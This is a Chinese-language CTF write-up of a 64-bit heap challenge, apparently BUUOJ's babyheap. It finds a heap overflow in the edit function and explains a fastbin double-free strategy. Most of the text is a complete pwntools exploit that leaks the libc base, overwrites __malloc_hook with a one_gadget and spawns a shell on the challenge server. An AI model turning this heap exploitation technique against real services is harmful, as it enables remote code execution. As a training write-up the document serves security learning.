fastbin attack
# 0x01 程序分析
例行检查,64 位程序,保护全开
ida 查看 main 函数,菜单题
sub_D48:对应 Allocate 申请内存地址用来存放结构体,申请内存用的是 calloc
sub_E7F:对应编辑 edit,这里没有检查 size ,存在堆溢出
sub_F50: 对应 delete,free 后指针清零不存在 UAF
sub_1051 就是 puts 打印
# 0x02 思路
利用 fastbin attack 即 double free 的方式泄露 libc 基址,当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,然后 fastbin attack 可以实现有限的地址写
# 0x03 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| from pwn import *
p=remote("node4.buuoj.cn",26060)
context.log_level = 'debug' def allo(size): p.recvuntil("Command: ") p.sendline(str(1)) p.recvuntil("Size: ") p.sendline(str(size))
def fill(idx,size,content): p.recvuntil("Command: ") p.sendline(str(2)) p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Size: ") p.sendline(str(size)) p.recvuntil("Content: ") p.sendline(content)
def free(idx): p.recvuntil("Command: ") p.sendline(str(3)) p.recvuntil("Index: ") p.sendline(str(idx))
def dump(idx): p.recvuntil("Command: ") p.sendline(str(4)) p.recvuntil("Index: ") p.sendline(str(idx))
allo(0x10) allo(0x10) allo(0x10) allo(0x10) allo(0x80)
free(1) free(2)
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) payload += p8(0x80) fill(0,len(payload),payload)
payload = p64(0)*3 + p64(0x21) fill(3,len(payload),payload)
allo(0x10) allo(0x10)
payload = p64(0)*3 + p64(0x91) fill(3,len(payload),payload)
allo(0x80)
free(4)
dump(2) content = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') print(hex(content)) libc_base = (content) - 0x3c4b78 print(hex(libc_base))
allo(0x60)
free(4) payload = p64(libc_base + 0x3C4AED) fill(2,len(payload),payload)
allo(0x60) allo(0x60)
payload = 'a'*(0x8+0x2+0x8+1) payload += p64(libc_base+0x4526a)
fill(6,len(payload),payload)
allo(79)
p.interactive()
|
# 0x04 参考文章
https://blog.csdn.net/qq_43935969/article/details/115877748
https://www.cnblogs.com/Rookle/p/12901747.html